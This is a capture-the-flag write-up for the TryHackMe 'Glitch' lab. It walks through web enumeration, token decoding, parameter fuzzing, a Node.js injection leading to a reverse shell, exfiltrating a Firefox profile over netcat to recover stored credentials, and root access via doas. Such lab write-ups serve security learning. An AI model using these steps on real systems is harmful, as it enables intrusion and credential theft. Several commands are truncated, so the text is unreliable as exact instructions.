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Glitch TryHackMe

Let’s take a look at the Glitch CTF on TryHackMe Created by @infamous55.


Nmap Scan

The first step of my enumeration was a scan with nmap. by the command:

sudo nmap -sC -sS -Pn

The “Nmap Output” displayed 1 service running under port 80 you guessed it that's HTTP. Nmap

After Inspecting the web application we can see an interesting script at the end of the page: Nmap

Gobuster Scan

I next decided to run a gobuster scan on the webserver to see if there were any interesting hidden directories, by the command: Gobuster

Actually i run two scans one on the main directory of the application and the other one on tha api directory: Gobuster


When I look at the script that I found on the source code of the page I decided to browse into the /api/access page and I found a token with a base64 encoded value:


So I run this command to decode the token and then I set the cookie and reopen the site:

echo dGhpc19pc19ub3RfcmVhbA== | base64 --decode


With the hint from TryHackMe I decided to try POST method on the items api:

curl -X POST

It's kinda weird, So There must be a missing parameter or something. Let’s try to fuzz it with wfuzz:

wfuzz -X POST -w /usr/share/SecLists/Fuzzing/1-4_all_letters_a-z.txt --hc 404,400


And Also the “secret” endpoint found with gobuster was just a rabbit hole. After setting the cookie and opening the site, multiple pictures of a rabbit was displayed with a caption that said Mad. Rabbit


With the payload that we found with wfuzz I tried to generate an error:

curl -X POST

Curl It's an error generated by Node.Js

Reverse Shell

I set up my netcat listener on port 4444 and I fired up Burp and sent a POST request with the following encoded payload:



User Flag

Now we're in the machine and I decided to take a look at the package.json to see the tech stack of the web app: Build

Then I found the user.txt file:


Root Flag

Inside the home directory of the user I notice a firefoz directory and I decided to compress it and download the archive locally to hopefully get some credentials:

tar cf - .firefox/ | nc 1234
nc -lvp 1234 | tar xf -

With the help of some blogs and videos I found this blog And I run firefox from the Command Line:

firefox --profile .firefox/b5w4643p.default-release --allow-downgrade

Pass We can now switch to v0id:


And now with a fail sudo -l command I searched for files owned by root with the SUID:

find / -type f -user root -perm -u=s 2>/dev/null

And I found doas binary and you can run it and found the root flag:

doas -u root /bin/bash

Thanks for reading!!!


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